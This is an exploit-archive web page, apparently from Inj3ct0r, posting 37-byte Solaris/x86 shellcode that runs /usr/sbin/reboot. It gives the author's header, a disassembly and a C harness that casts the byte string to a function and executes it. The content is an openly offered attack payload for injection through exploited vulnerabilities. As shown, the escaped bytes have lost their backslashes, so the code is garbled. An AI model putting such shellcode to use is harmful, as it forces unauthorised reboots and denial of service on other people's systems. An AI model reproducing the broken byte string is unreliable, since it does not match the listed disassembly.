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solaris/x86 - Reboot() - 37 bytes

Posted on 21 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>solaris/x86 - Reboot() - 37 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================
solaris/x86 - Reboot() - 37 bytes
=================================

/*
Title:   Solaris/x86 - Reboot() - 37 bytes
Author:  Jonathan Salwan &lt;submit!shell-storm.org&gt;
Web:     http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm
 
Date:    2010-05-21
Tested:  SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris
 
!Database of Shellcodes http://www.shell-storm.org/shellcode/
 
 
Description:
------------
 
 The reboot utility restarts the kernel. The kernel is loaded
 into  memory by the PROM monitor, which transfers control to
 the loaded kernel.
 
 
 
Disassembly informations:
-------------------------
 
section .text
    0x8048074:              31 c0              xorl   %eax,%eax
    0x8048076:              50                 pushl  %eax
    0x8048077:              68 62 6f 6f 74     pushl  $0x746f6f62
    0x804807c:              68 6e 2f 72 65     pushl  $0x65722f6e
    0x8048081:              68 2f 73 62 69     pushl  $0x6962732f
    0x8048086:              68 2f 75 73 72     pushl  $0x7273752f
    0x804808b:              89 e3              movl   %esp,%ebx
    0x804808d:              50                 pushl  %eax
    0x804808e:              53                 pushl  %ebx
    0x804808f:              89 e1              movl   %esp,%ecx
    0x8048091:              50                 pushl  %eax
    0x8048092:              51                 pushl  %ecx
    0x8048093:              53                 pushl  %ebx
    0x8048094:              b0 0b              movb   $0xb,%al
    0x8048096:              50                 pushl  %eax
    0x8048097:              cd 91              int    $0x91
 
*/
 
#include &lt;stdio.h&gt;
 
char sc[] = &quot;x31xc0x50x68x62x6fx6fx74x68x6e&quot;
            &quot;x2fx72x65x68x2fx73x62x69x68x2f&quot;
            &quot;x75x73x72x89xe3x50x53x89xe1x50&quot;
            &quot;x51x53xb0x0bx50xcdx91&quot;;
 
 
int main(void)
{
        fprintf(stdout,&quot;Length: %d
&quot;,strlen(sc));
        (*(void(*)()) sc)();
 
return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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